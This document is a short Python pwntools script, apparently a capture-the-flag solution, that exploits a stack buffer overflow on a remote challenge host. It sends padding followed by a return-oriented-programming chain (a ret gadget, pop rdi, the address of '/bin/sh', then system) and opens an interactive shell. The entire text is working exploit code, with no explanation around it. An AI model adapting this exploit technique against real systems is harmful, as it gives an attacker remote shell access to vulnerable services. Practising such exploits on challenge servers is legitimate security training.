```
from pwn import *

r=remote('baby-01.pwn.beer', 10001)

ret = 0x000000000040053e

pop_rdi = 0x0000000000400793

binsh = 0x400286

system = 0x400560

r.sendlineafter('input: ', 0x18 * 'a' + p64(ret)+ p64(pop_rdi) + p64(binsh) + p64(system))

r.interactive()
```